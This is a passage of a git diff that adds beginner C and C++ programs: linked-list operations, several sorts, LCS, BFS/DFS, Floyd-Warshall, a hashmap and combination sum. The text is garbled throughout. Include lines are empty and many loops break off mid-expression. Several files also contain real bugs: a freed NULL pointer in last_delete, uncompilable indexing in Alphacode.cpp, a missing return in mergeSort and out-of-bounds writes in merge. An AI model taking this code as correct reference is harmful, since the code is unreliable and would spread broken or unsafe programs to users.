inserted"); + } + } +} +void randominsert() +{ + int i, loc, item; + struct node *ptr, *temp; + ptr = (struct node *)malloc(sizeof(struct node)); + if (ptr == NULL) + { + printf("\nOVERFLOW"); + } + else + { + printf("\nEnter element value"); + scanf("%d", &item); + ptr->data = item; + printf("\nEnter the location after which you want to insert "); + scanf("\n%d", &loc); + temp = head; + for (i = 0; i < loc; i++) + { + temp = temp->next; + if (temp == NULL) + { + printf("\ncan't insert\n"); + return; + } + } + ptr->next = temp->next; + temp->next = ptr; + printf("\nNode inserted"); + } +} +void begin_delete() +{ + struct node *ptr; + if (head == NULL) + { + printf("\nList is empty\n"); + } + else + { + ptr = head; + head = ptr->next; + free(ptr); + printf("\nNode deleted from the begining ...\n"); + } +} +void last_delete() +{ + struct node *ptr, *ptr1; + if (head == NULL) + { + printf("\nlist is empty"); + } + else if (head->next == NULL) + { + head = NULL; + free(head); + printf("\nOnly node of the list deleted ...\n"); + } + + else + { + ptr = head; + while (ptr->next != NULL) + { + ptr1 = ptr; + ptr = ptr->next; + } + ptr1->next = NULL; + free(ptr); + printf("\nDeleted Node from the last ...\n"); + } +} +void random_delete() +{ + struct node *ptr, *ptr1; + int loc, i; + printf("\n Enter the location of the node after which you want to perform deletion \n"); + scanf("%d", &loc); + ptr = head; + for (i = 0; i < loc; i++) + { + ptr1 = ptr; + ptr = ptr->next; + + if (ptr == NULL) + { + printf("\nCan't delete"); + return; + } + } + ptr1->next = ptr->next; + free(ptr); + printf("\nDeleted node %d ", loc + 1); +} +void search() +{ + struct node *ptr; + int item, i = 0, flag; + ptr = head; + if (ptr == NULL) + { + printf("\nEmpty List\n"); + } + else + { + printf("\nEnter item which you want to search?\n"); + scanf("%d", &item); + while (ptr != NULL) + { + if (ptr->data == item) + { + printf("item found at location %d ", i + 1); + flag = 0; + } + else + { + flag = 1; + } + i++; + ptr = ptr->next; + } + if (flag == 1) + { + printf("Item not found\n"); + } + } +} + +void display() +{ + struct node *ptr; + ptr = head; + if (ptr == NULL) + { + printf("Nothing to print"); + } + else + { + printf("\nprinting values . . . . .\n"); + while (ptr != NULL) + { + printf("\n%d", ptr->data); + ptr = ptr->next; + } + } +} \ No newline at end of file diff --git a/C/longest_common_subsequence.c b/C/longest_common_subsequence.c new file mode 100644 index 000000000..1ae2d99dc --- /dev/null +++ b/C/longest_common_subsequence.c @@ -0,0 +1,57 @@ +#include +#include +#include +#include + +int max(int a, int b) +{ + if(a>b) + return a; + else + return b; +} + +int main() { + + int a[101], b[101], k, res[101]; + int lcs[102][102] = {0}; + int n,m, i, j; + scanf("%d %d", &n, &m); + for(i=0; i lcs[i][j-1]) + --i; + else + --j; + } + } + + for(i=0; i + +int main() { + int a, b, c, i, n; + + n = 4; + + a = b = 1; + + printf("%d %d ",a,b); + + for(i = 1; i <= n-2; i++) { + c = a + b; + printf("%d ", c); + + a = b; + b = c; + } + + return 0; +} diff --git a/C/max_min.c b/C/max_min.c new file mode 100644 index 000000000..cd9ba2c58 --- /dev/null +++ b/C/max_min.c @@ -0,0 +1,28 @@ +#include +int main() +{ + int n, i, max, min, a[100]; + printf("Enter total number of elements:"); + scanf("%d",&n); + printf("Enter values:"); + for (i=0;imax) + { + max=a[i]; + } + if (a[i] +#include +int merge(int arr[], int l, int m, int r) +{ + int i, j, k,c1=0,c2=0,c3=0,c4=0,c5=0,c6=0; + int n1 = m - l + 1; + int n2 = r - m; + int L[n1], R[n2]; + for (i = 0; i < n1; i++){ + L[i] = arr[l + i];c1++;} + for (j = 0; j < n2; j++){ + R[j] = arr[m + 1 + j];c2++;} + L[n1] = 2147483647; + R[n2] = 2147483647; + i = 0; + j = 0; + k = l; + while (i < n1 && j < n2) { + if (L[i] <= R[j]) { + c3++; + arr[k] = L[i]; + i++; + } + else { + c4++; + arr[k] = R[j]; + j++; + } + k++; + } + while (i < n1) { + arr[k] = L[i]; + c5++; + i++; + k++; + } + while (j < n2) { + arr[k] = R[j]; + c6++; + j++; + k++; + } + return c1+c2+c3+c4+c5+c6; +} +int mergeSort(int arr[], int l, int r,int c1,int c2) +{ + if (l < r) { + int m = l + (r - l) / 2; + c1+=1; + mergeSort(arr, l, m,c1,c2); + c2+=1; + mergeSort(arr, m + 1, r,c1,c2); + int c = merge(arr, l, m, r); + return c1+c2+c; + } +} +void printArray(int A[], int s) +{ + for (int i = 0; i < s; i++) + printf("%d ",A[i]); + printf("\n"); +} +void descending(int number[],int n) +{ + int i,j,a; + for (i = 0; i < n; ++i) + { + for (j = i + 1; j < n; ++j) + { + if (number[i] < number[j]) + { + a = number[i]; + number[i] = number[j]; + number[j] = a; + } + } + } +} +int main() +{ + int n; + printf("Enter the number of elements: "); + scanf("%d",&n); + int arr[n]; + for(int i=0;i + +int graph[4][3] = {{2,3,4}, {1,3,4}, {1,2,0}, {1,2,0}}; + +void checkNeighbour(int i, int j){ + int k, checkNeighbour = 0; + + for(k=0; k<3; k++){ + if(graph[i][k] == j){ + checkNeighbour = 1; + } + } + printf("%d\t", checkNeighbour); +} + +int main(){ + int i, j; + + for(i=0; i<4; i++){ + for(j=1; j<=4; j++){ + checkNeighbour(i,j); + } + printf("\n"); + } +} \ No newline at end of file diff --git a/C/readability.c b/C/readability.c new file mode 100644 index 000000000..fba77911f --- /dev/null +++ b/C/readability.c @@ -0,0 +1,61 @@ +// predicts grade-level of a text +// based on Coleman-Liau index + + +#include +#include +#include +#include + +int main(void) + +{ + //set initial count for letters,words,sentences to 0 + int letters = 0; + int words = 1; + int sentences = 0; + + //promot user for text + string s = get_string("Text:\n"); + + //calculate number of letters,words and sentences + for (int i = 0, n = strlen(s); i < n; i++) + { + if ((s[i] >= 65 && s[i] <= 90) || (s[i] >= 97 && s[i] <= 122)) + { + letters++; + } + + if (s[i] == ' ') + { + words++; + } + + if ((s[i] == '.' || s[i] == '?') || s[i] == '!') + { + sentences++; + } + } + + // calculate "value" of index + float value = ((0.0588 * 100 * ((float) letters / (float) words)) - (0.296 * 100 * ((float) sentences / (float) words)) - 15.8); + + // round-off index value to nearest integer + int index = round(value); + + //printf grade of the text + if (index >= 1 && index < 16) + { + printf("Grade %i\n", index); + } + + else if (index >= 16) + { + printf(" Grade 16+\n"); + } + + else if (index < 1) + { + printf("Before Grade 1\n"); + } +} diff --git a/C/selection sort .c b/C/selection sort .c new file mode 100644 index 000000000..f8ebdc9f1 --- /dev/null +++ b/C/selection sort .c @@ -0,0 +1,36 @@ +#include +int main(void) +{ + int a[100],n,i,j,b; +printf("enter the number of values to be inserted"); +scanf("%d",&n); +for(i=0;i + +int main() +{ + int t,n,a[200],i,j,k,l,m; + scanf("%d",&t); + while(t--) + { + scanf("%d",&n); + m=1; + a[0]=1; + for(j=2;j<=n;j++) + { + l=0; + for(k=0;k=0;i--) + printf("%d",a[i]); + + printf("\n"); + } + return 0; +} \ No newline at end of file diff --git a/C/sortingalgo.c b/C/sortingalgo.c new file mode 100644 index 000000000..61c1bc0f0 --- /dev/null +++ b/C/sortingalgo.c @@ -0,0 +1,111 @@ + //Write a C program to sort an array of n number of elements using bubble sort, selection sort, and insertion sort. +// Assume that n >5. Print the sorted output after each pass. + +#include + +//function to print array +void printArray(int arr[], int size) +{ + int i; + for (i=0; i < size; i++) + printf("%d ", arr[i]); + printf("\n"); +} + +//Function to sort an array using bubblesort algorithm +int bubblesort(int array[],int n) +{ + int temp,i,j; + for(i = 0; i < n-1; i++) + { + for(j = 0; j < n-i-1; j++) + { + if(array[j]>array[j+1]) + { + temp=array[j]; + array[j]=array[j+1]; + array[j+1]=temp; + } + } + printArray(array,n); + } + return 0; +} +//Function to sort an array using selectionsort algorithm +int selectionsort(int array[],int n) +{ + int min,i,j,temp; + for (i=0;i<=n-2;i++) + { + min=i; + for(j=i+1;j<=n-1;j++) + { + if(array[j]=0)) + { + array[j+1]=array[j]; + j=j-1; + } + + array[j+1]=temp; + printArray(array,n); + } + + return 0; +} + +int main() +{ + int array[50]={0}; + int n,sort; + + printf("How many numbers are you going to enter?"); + scanf("%d",&n); + + for(int i=0;i +int main() +{ + int a, b; + printf("Enter value of a:"); + scanf("%d",&a); + printf("Enter value of b:"); + scanf("%d", &b); + a=a^b; + b=a^b; + a=a^b; + printf("After swapping:\na=%d", a); + printf("\nb=%d", b); +} diff --git a/C/temperatureConverter.c b/C/temperatureConverter.c new file mode 100644 index 000000000..b37b49df4 --- /dev/null +++ b/C/temperatureConverter.c @@ -0,0 +1,13 @@ +//temperature converter from celsius to fahrenheit + +#include + +int main() +{ +float fahrenheit, celsius; +celsius = 24; +fahrenheit =( (celsius*9)/5)+32; +printf("Temperature in fahrenheit is: %f",fahrenheit); +return (0); + +} diff --git a/C/transpose sequential search.c b/C/transpose sequential search.c new file mode 100644 index 000000000..6157622d2 --- /dev/null +++ b/C/transpose sequential search.c @@ -0,0 +1,43 @@ +#include +int main() +{ + int a[10],n,i,t,element; +printf("enter the number of values to be inserted"); +scanf("%d",&n); +for(i=0;i +using namespace std; + +int main() { + + int i,j; + + for(i=2;i<101;i++) { + bool x=true; + + for (j=2;j<(i-1);j++) { + + if(i%j==0) { + x=false; + break; + } + + } + + if(x==true) { + cout< +using namespace std; + +#define ll long long int +#define vi vector +#define vvi vector +#define pb push_back +#define fo(i,a,b) for(int i=a ; in || y<1 || y>m) + return false; + if(vis[x][y]==1) + return false; + else + return true; + +} +void dfs(ll x,ll y) +{ + vis[x][y]=1; + if(isValid(x-1,y)) + dfs(x-1,y); + if(isValid(x,y+1)) + dfs(x,y+1); + if(isValid(x+1,y)) + dfs(x+1,y); + if(isValid(x,y-1)) + dfs(x,y-1); +} +int main() +{ + ios_base::sync_with_stdio(0); + cin.tie(0); + cout.tie(0); + + int t; + // cin>>t; + // t=1; + while(t--) + { + ll ar[1001][1001]; + cin>>n>>m; + for(ll i=1;i<=n;i++) + { + for(ll j=1;j<=m;j++) + cin>>ar[i][j]; + } + //connected components + // ll cc=0; + // for(ll i=1;i<=n;i++) + // { + // for(ll j=1;j<=m;j++) + // { + // if(ar[i][j]==1 && vis[i][j]==0) + // dfs(i,j); + // } + // } + dfs(1,1); + } + + return 0; +} \ No newline at end of file diff --git a/CPP/3-way Merge Sort.cpp b/CPP/3-way Merge Sort.cpp new file mode 100644 index 000000000..b4566802c --- /dev/null +++ b/CPP/3-way Merge Sort.cpp @@ -0,0 +1,158 @@ +// C++ Program to perform 3 way Merge Sort +#include +using namespace std; + +/* Merge the sorted ranges [low, mid1), [mid1,mid2) +and [mid2, high) mid1 is first midpoint +index in overall range to merge mid2 is second +midpoint index in overall range to merge*/ +void merge(int gArray[], int low, int mid1, + int mid2, int high, int destArray[]) +{ + int i = low, j = mid1, k = mid2, l = low; + + // choose smaller of the smallest in the three ranges + while ((i < mid1) && (j < mid2) && (k < high)) + { + if(gArray[i] < gArray[j]) + { + if(gArray[i] < gArray[k]) + { + destArray[l++] = gArray[i++]; + } + else + { + destArray[l++] = gArray[k++]; + } + } + else + { + if(gArray[j] < gArray[k]) + { + destArray[l++] = gArray[j++]; + } + else + { + destArray[l++] = gArray[k++]; + } + } + } + + // case where first and second ranges + // have remaining values + while ((i < mid1) && (j < mid2)) + { + if(gArray[i] < gArray[j]) + { + destArray[l++] = gArray[i++]; + } + else + { + destArray[l++] = gArray[j++]; + } + } + + // case where second and third ranges + // have remaining values + while ((j < mid2) && (k < high)) + { + if(gArray[j] < gArray[k]) + { + destArray[l++] = gArray[j++]; + } + else + { + destArray[l++] = gArray[k++]; + } + } + + // case where first and third ranges have + // remaining values + while ((i < mid1) && (k < high)) + { + if(gArray[i] < gArray[k]) + { + destArray[l++] = gArray[i++]; + } + else + { + destArray[l++] = gArray[k++]; + } + } + + // copy remaining values from the first range + while (i < mid1) + destArray[l++] = gArray[i++]; + + // copy remaining values from the second range + while (j < mid2) + destArray[l++] = gArray[j++]; + + // copy remaining values from the third range + while (k < high) + destArray[l++] = gArray[k++]; +} + + +/* Performing the merge sort algorithm on the +given array of values in the rangeof indices +[low, high). low is minimum index, high is +maximum index (exclusive) */ +void mergeSort3WayRec(int gArray[], int low, + int high, int destArray[]) +{ + // If array size is 1 then do nothing + if (high - low < 2) + return; + + // Splitting array into 3 parts + int mid1 = low + ((high - low) / 3); + int mid2 = low + 2 * ((high - low) / 3) + 1; + + // Sorting 3 arrays recursively + mergeSort3WayRec(destArray, low, mid1, gArray); + mergeSort3WayRec(destArray, mid1, mid2, gArray); + mergeSort3WayRec(destArray, mid2, high, gArray); + + // Merging the sorted arrays + merge(destArray, low, mid1, mid2, high, gArray); +} + +void mergeSort3Way(int gArray[], int n) +{ + // if array size is zero return null + if (n == 0) + return; + + // creating duplicate of given array + int fArray[n]; + + // copying alements of given array into + // duplicate array + for (int i = 0; i < n; i++) + fArray[i] = gArray[i]; + + // sort function + mergeSort3WayRec(fArray, 0, n, gArray); + + // copy back elements of duplicate array + // to given array + for (int i = 0; i < n; i++) + gArray[i] = fArray[i]; +} + +// Driver Code +int main() +{ + int data[] = {45, -2, -45, 78, 30, + -42, 10, 19, 73, 93}; + mergeSort3Way(data,10); + cout << "After 3 way merge sort: "; + for (int i = 0; i < 10; i++) + { + cout << data[i] << " "; + } + return 0; +} + +// This code is contributed by Rashmi Kumari diff --git a/CPP/Alphacode.cpp b/CPP/Alphacode.cpp new file mode 100644 index 000000000..737143543 --- /dev/null +++ b/CPP/Alphacode.cpp @@ -0,0 +1,87 @@ +/*AlphaCode-Question + +Alice and Bob need to send secret messages to each other and are discussing ways to encode their messages: +Alice: “Let’s just use a very simple code: We’ll assign ‘A’ the code word 1, ‘B’ will be 2, and so on down to ‘Z’ being assigned 26.†+ +Bob: “That’s a stupid code, Alice. Suppose I send you the word ‘BEAN’ encoded as 25114. You could decode that in many different ways!†+ +Alice: “Sure you could, but what words would you get? Other than ‘BEAN’, you’d get ‘BEAAD’, ‘YAAD’, ‘YAN’, ‘YKD’ and ‘BEKD’. I think you would be able to figure out the correct decoding. And why would you send me the word ‘BEAN’ anyway?†+ +Bob: “OK, maybe that’s a bad example, but I bet you that if you got a string of length 5000 there would be tons of different decodings and with that many you would find at least two different ones that would make sense.†+ +Alice: “How many different decodings?†+ +Bob: “Jillions!†+For some reason, Alice is still unconvinced by Bob’s argument, so she requires a program that will determine how many decodings there can be for a given string using her code. +Input +Input will consist of multiple input sets. Each set will consist of a single line of at most 5000 digits representing a valid encryption (for example, no line will begin with a 0). There will be no spaces between the digits. An input line of ‘0’ will terminate the input and should not be processed. +Output +For each input set, output the number of possible decodings for the input string. Print your answer taking modulo "10^9+7" +Sample Input: +25114 +1111111111 +3333333333 +0 +Sample Output: +6 +89 +1*/ + + + +#include +using namespace std; + +int num_codes(int* n, int size) { + if (size == 1) { + return 1; + } + if (size == 0) { + return 1; + } + int output = num_codes(n, size - 1); + if (output[size - 2] * 10 + output[size - 1] <= 26) { + output += num_codes(n, size -2); + } + return output; +} + +int num_codes_i(int * input, int size) { + int* output = new int[size + 1]; + output[0] = 1; + output[1] = 1; + + for (int i = 2; i <= size; i++) { + output[i] = output[i - 1]; + if (input[i-2] *10 + input[i - 1] <= 26) { + output[i] += output[i - 2]; + } + } + int ans = output[size]; + delete [] output; + return ans; +} + +int num_codes2(int* n, int size, int* arr) { + if (size == 1) { + return 1; + } + if (size == 0) { + return 1; + } + if (arr[size] > 0) { + return arr[size]; + } + + int output = num_codes(n, size - 1); + if (output[size - 2] * 10 + output[size - 1] <= 26) { + output += num_codes(n, size -2); + } + arr[size] = output; + return output; +} + + +int main() { + +} diff --git a/CPP/BFS.cpp b/CPP/BFS.cpp new file mode 100644 index 000000000..9ff21223a --- /dev/null +++ b/CPP/BFS.cpp @@ -0,0 +1,48 @@ +#include +#include +#include +#pragma GCC optimize("Ofast") +#pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,avx2,fma") +#pragma GCC optimize("unroll-loops") +const unsigned int M = 1000000007; +using namespace std; +// Check +using namespace __gnu_pbds; +typedef tree,rb_tree_tag,tree_order_statistics_node_update> T_set; // PBDS_set +typedef tree,rb_tree_tag,tree_order_statistics_node_update> T_multiset; // PBDS_multiset + +void solve() +{ + int n ,m,u,v; + cin>>n>>m; + vector> adj(n+1); + vector vis(n+1,false); + for(int i = 0; i < n ; i++ ){ + cin>>u>>v; + adj[u].push_back(v); + adj[v].push_back(u); + } + queue temp; + temp.push(1); + vis[1] = true; + while(!temp.empty()){ + int curr = temp.front(); + cout< +#include + +using namespace std; + +class node { + public: + int data; + node *left, *right; +}*root; + +node* GetNode(int d) { + node *nn=new(node); + nn->left = NULL; + nn->right = NULL; + nn->data = d; + return nn; +} + +void InOrder(node *root) { + if(root == NULL) + return ; + InOrder(root->left); + cout<data<<" "; + InOrder(root->right); +} + +void StoreData(node *root,set &s){ //&s reference of original set + if(root == NULL) + return ; + StoreData(root->left,s); + s.insert(root->data); + StoreData(root->right,s); +} + +void ConvertToBST(node *root, auto &it) { + if(root == NULL) + return ; + ConvertToBST(root->left, it); + root->data = *it; + it++; + ConvertToBST(root->right, it); +} + +int main() +{ + root = GetNode(8); + root->left = GetNode(3); + root->right = GetNode(5); + root->left->left = GetNode(10); + root->left->right = GetNode(2); + root->right->left = GetNode(4); + root->right->right = GetNode(6); + InOrder(root); + + set s; + StoreData(root,s); + auto it = s.begin(); + ConvertToBST(root,it); + InOrder(root); +} diff --git a/CPP/Combination Sum.cpp b/CPP/Combination Sum.cpp new file mode 100644 index 000000000..e0987cb4e --- /dev/null +++ b/CPP/Combination Sum.cpp @@ -0,0 +1,52 @@ +//Objective is to find the number of subsets that can have the sum as target. +/* + Lets take an example to understand it much better. + Consider array given as arr[]={2,3,6,7}; + And target as 7. + So possible combinations are: + 1. [2,2,3] + 2. [7] + So only 2 subsets are possible. + + NOTE -> We can choose a number any number of times i.e. Repetition is allowed. + + To solve such problems recursion is the best approach to go for.Now for every index we have two options + 1. Choose the index and decrease the sum, and next time a recusrive call is made start from the same indx. + 2. Move ahead with the next index and try out the possible combinations by not including the curr element. + + We will need a data structure that can store the sum at every recursive call. + So i have made use of a vector. You can choose whatever feels right to you!!. + + So lets move on to code :) +*/ +#include +using namespace std; + +void helper(vector&arr,vector>&ans,vectortemp,int target,int start_index,int curr_sum){ + + if(target == curr_sum){ans.push_back(temp);return;} // If we find current sum to be equal to target then we can push that subset into our 'ans' array. + if(start_index>=arr.size()){return ;} //Base case1 - if current postion exceeds the array size then reutrn. + if(curr_sum>target){return ;} // Base case2- if at ith postion we see that the value of curr_sum exceeds then target then their is no meaning in moving ahead. + temp.push_back(arr[start_index]); + helper(arr,ans,temp,target,start_index,curr_sum+arr[start_index]); // Recursive call with current element included + temp.pop_back(); // popping out the element + helper(arr,ans,temp,target,start_index+1,curr_sum); //Backtrack. +} + +int main(){ + + vectorarr{2,3,6,7}; + int n=arr.size(),target=7,curr_sum=0,start_index=0,i,j; + vector>ans; // To store all of the subsets. + vectortemp; // To store possible numbers that can form a subset. + helper(arr,ans,temp,target,start_index,curr_sum); // A helper function for recursive calls. + + cout<<"Subsets with sum as "< +using namespace std; +#define ll long long + +//only for numbers in the range -1e3 to 1e3 : +void counting_sort(vector &v){ + vector hash(int(1e6), 0) ; + for(auto x : v){ + hash[int(1e3) + x]++; + } + v.clear(); + for(int j = 0 ; j < hash.size() ; j++){ + if(hash[j] > 0){ + for(int i = 0 ; i < hash[j] ; i++){ + v.push_back(j-int(1e3)); + } + } + } +} +void solve(){ + ll n ; cin >> n ; + vector v(n); + for(auto &x : v){ + cin >> x; + } + counting_sort(v); + for(auto x : v){ + cout << x << " "; + } +} + +int main() +{ + ios_base::sync_with_stdio(false); + cin.tie(NULL); + + solve(); +} diff --git a/CPP/Data Structures/FloydWarshall.cpp b/CPP/Data Structures/FloydWarshall.cpp new file mode 100644 index 000000000..c4837c9e4 --- /dev/null +++ b/CPP/Data Structures/FloydWarshall.cpp @@ -0,0 +1,53 @@ +#include +using namespace std; + +#define V 4 //No of vertices + +void floyd_warshall(int graph[V][V]) +{ + int dist[V][V]; + + //Assign all values of graph to allPairs_SP + for (int i = 0; i < V; ++i) + for (int j = 0; j < V; ++j) + dist[i][j] = graph[i][j]; + + //Find all pairs shortest path by trying all possible paths + for (int k = 0; k < V; ++k) //Try all intermediate nodes + for (int i = 0; i < V; ++i) //Try for all possible starting position + for (int j = 0; j < V; ++j) //Try for all possible ending position + { + if (dist[i][k] == INT_MAX || dist[k][j] == INT_MAX) //SKIP if K is unreachable from i or j is unreachable from k + continue; + else if (dist[i][k] + dist[k][j] < dist[i][j]) //Check if new distance is shorter via vertex K + dist[i][j] = dist[i][k] + dist[k][j]; + } + + //Check for negative edge weight cycle + for (int i = 0; i < V; ++i) + if (dist[i][i] < 0) + { + cout << "Negative edge weight cycle is present\n"; + return; + } + + //Print Shortest Path Graph + //(Values printed as INT_MAX defines there is no path) + for (int i = 0; i < V; ++i) + { + for (int j = 0; j < V; ++j) + cout << i << " to " << j << " distance is " << dist[i][j] << "\n"; + cout << "=================================\n"; + } +} + +int main() +{ + int graph[V][V] = {{0, 3, INT_MAX, 5}, + {2, 0, INT_MAX, 8}, + {INT_MAX, 1, 0, INT_MAX}, + {INT_MAX, INT_MAX, 2}}; + + floyd_warshall(graph); + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Hashmap/hashmap.cpp b/CPP/Data Structures/Hashmap/hashmap.cpp new file mode 100644 index 000000000..42888565d --- /dev/null +++ b/CPP/Data Structures/Hashmap/hashmap.cpp @@ -0,0 +1,27 @@ +#include +#include "hashmapClass.h" +#include +using namespace std; + + +int main (){ + map ourmap(13); + string key; + int value; + cout << "Enter key (Enter 0 for termination) : "; + cin >> key; + while (key != "0"){ + cout << "Enter Value of " << key << " : "; + cin >> value; + ourmap.insert(key,value); + cout << "Enter another key (Enter 0 for termination) : "; + cin >> key; + } + cout << endl; + ourmap.display(); + + ourmap.removeKey("Gopal"); + cout << "List after removing key" << endl; + ourmap.display(); + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Hashmap/hashmapClass.h b/CPP/Data Structures/Hashmap/hashmapClass.h new file mode 100644 index 000000000..199ca57f0 --- /dev/null +++ b/CPP/Data Structures/Hashmap/hashmapClass.h @@ -0,0 +1,116 @@ +#include +#include "node.h" +#include +using namespace std; + +template +class map { + public: + node ** array; + int count; + int bucketSize; + + map(int bucketSize){ + this -> bucketSize = bucketSize; + count = 0; + array = new node*[bucketSize]; + for (int i =0;i * temp = array[bucketIndex]; + while (temp != NULL){ + if (temp -> key == key){ + temp -> value = value; + return; + } + temp = temp -> next; + } + temp = array[bucketIndex]; + node * newNode = new node(key,value); + newNode -> next = temp; + array[bucketIndex] = newNode; + count++; + } + + t getValue(string key){ + int bucketIndex = getBucketIndex(key); + node * head = array[bucketIndex]; + while (head != NULL){ + if (head -> key == key){ + return head -> value; + } + head = head -> next; + } + return 0; + } + + t removeKey(string key){ + int bucketIndex = getBucketIndex(key); + cout << "bucketIndex for " << key << " is " << bucketIndex << endl; + node * head = array[bucketIndex]; + cout << "Key " << head -> key << endl; + node * prev = NULL; + while (head != NULL){ + cout << "This is working"; + if (head -> key == key){ + if (prev == NULL){ + array[bucketIndex] = head -> next; + + }else{ + prev -> next = head -> next; + } + cout << "This is working too"; + head -> next = NULL; + t value = head -> value; + delete head; + count--; + return value; + } + prev = head; + head = head -> next; + } + return 0; + } + + + void display(){ + for (int i =0;i * head){ + while(head != NULL){ + cout << "(" << head -> key << " , " << head -> value << ")" << endl; + head = head -> next; + } + } +}; \ No newline at end of file diff --git a/CPP/Data Structures/Hashmap/node.h b/CPP/Data Structures/Hashmap/node.h new file mode 100644 index 000000000..94d2b7f9a --- /dev/null +++ b/CPP/Data Structures/Hashmap/node.h @@ -0,0 +1,21 @@ +#include +#include +using namespace std; + +template +class node { + public: + string key; + t value; + node * next; + + node(string key, t value){ + this -> key = key; + this -> value = value; + next = NULL; + } + + ~node(){ + delete next; + } +}; \ No newline at end of file diff --git a/CPP/Data Structures/Implementation-of-LinkedList.cpp b/CPP/Data Structures/Implementation-of-LinkedList.cpp new file mode 100644 index 000000000..3c48fe70c --- /dev/null +++ b/CPP/Data Structures/Implementation-of-LinkedList.cpp @@ -0,0 +1,63 @@ +#include +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data = x; + next = NULL; + } +}; +Node *insertend(Node *head, int data) +{ + if (head == NULL || head->next == NULL) + { + return head; + } + Node *temp = new Node(data); + Node *curr = head; + while (curr->next != NULL) + { + curr = curr->next; + } + curr->next = temp; + temp->next = NULL; + return head; +} +void show(Node *head) +{ + Node *curr = head; + while (curr != NULL) + { + cout << curr->data << " "; + curr = curr->next; + } +} + +int main() +{ + Node *head = new Node(10); + Node *temp1 = new Node(20); + Node *temp2 = new Node(30); + head->next = temp1; + temp1->next = temp2; + cout << "Initial List : "; + show(head); + cout << endl; + cout << "No of values to be inserted : "; + int n; + cin >> n; + cout << "Enter the values : "; + for (int i = 0; i < n; i++) + { + int data; + cin >> data; + head = insertend(head, data); + } + + cout << "List after addition : "; + show(head); +} \ No newline at end of file diff --git a/CPP/Data Structures/Linked List/Basics Of LL.cpp b/CPP/Data Structures/Linked List/Basics Of LL.cpp new file mode 100644 index 000000000..c84c2314c --- /dev/null +++ b/CPP/Data Structures/Linked List/Basics Of LL.cpp @@ -0,0 +1,113 @@ +#include +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +Node* Ibeg(Node *head, int x) +{ + Node *temp=new Node(x); + if(head==nullptr) + { + return temp; + } + + Node *curr=head; + head=temp; + head->next=curr; + return head; +} + +Node *Imiddle(Node *head, int x, int pos) +{ + Node *temp=new Node(x); + Node *curr=head; + if(pos==1) + { + temp->next=head; + return temp; + } + for(int i=1; i<=pos-2 && curr!=nullptr; i++)// goes till that node where changes happen + { + curr=curr->next; + } + if(curr==nullptr) + { + return head; + } + temp->next=curr->next; + curr->next=temp; + return head; +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" "; + k=k->next; + } + return; +} + +int main() +{ + int n; + cin>>n; + Node* head=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + + disp(head); + int m; + cin>>m; + for(int i=1;i<=m;i++) + { + int k; + cin>>k; + head=Ibeg(head,k); + } + + disp(head); + int l,pos; + cin>>l>>pos; + head=Imiddle(head,l,pos); + + disp(head); + + return 0; + +} \ No newline at end of file diff --git a/CPP/Data Structures/Linked List/Fold a Linked List.png b/CPP/Data Structures/Linked List/Fold a Linked List.png new file mode 100644 index 000000000..9b63d4861 Binary files /dev/null and b/CPP/Data Structures/Linked List/Fold a Linked List.png differ diff --git a/CPP/Data Structures/Linked List/FoldLL.cpp b/CPP/Data Structures/Linked List/FoldLL.cpp new file mode 100644 index 000000000..0bed4e2fb --- /dev/null +++ b/CPP/Data Structures/Linked List/FoldLL.cpp @@ -0,0 +1,123 @@ +#include +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" - > "; + k=k->next; + } + return; +} +Node* findM(Node *head) +{ + if(head == nullptr || head->next==nullptr) + { + + return head; + } + Node *f=head, *s=head; + int c=0; + while(f->next != nullptr && f->next->next !=nullptr) + { + c++; + s=s->next; + f=f->next->next; + } + + return s; +} + +Node *Reverse(Node *head) +{ + + if(head==nullptr||head->next==nullptr) + { + return head; + } + + Node *k=Reverse(head->next); + Node *t=head->next; + t->next=head; + head->next=nullptr; + return k; +} + +Node *fold(Node *head) +{ + if(head==nullptr || head->next == nullptr) + { + return head; + } + Node *mid=findM(head); + Node *nh=mid->next; + mid->next=nullptr; + nh=Reverse(nh); + + Node *c1=head; + Node *c2=nh; + Node *f1=nullptr; + Node *f2=NULL; + while(c2!=nullptr) + { + f1=c1->next; + f2=c2->next; + + c1->next=c2; + c2->next=f1; + + c1=f1; + c2=f2; + } + return head; +} + +int main() +{ + int n; + cin>>n; + Node* head=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + + head=fold(head); + disp(head); + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Linked List/Merge Sort LL.png b/CPP/Data Structures/Linked List/Merge Sort LL.png new file mode 100644 index 000000000..d65b90d84 Binary files /dev/null and b/CPP/Data Structures/Linked List/Merge Sort LL.png differ diff --git a/CPP/Data Structures/Linked List/MergeSort.cpp b/CPP/Data Structures/Linked List/MergeSort.cpp new file mode 100644 index 000000000..1fe0c5682 --- /dev/null +++ b/CPP/Data Structures/Linked List/MergeSort.cpp @@ -0,0 +1,132 @@ +#include +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" - > "; + k=k->next; + } +} + +Node *MergeLL(Node 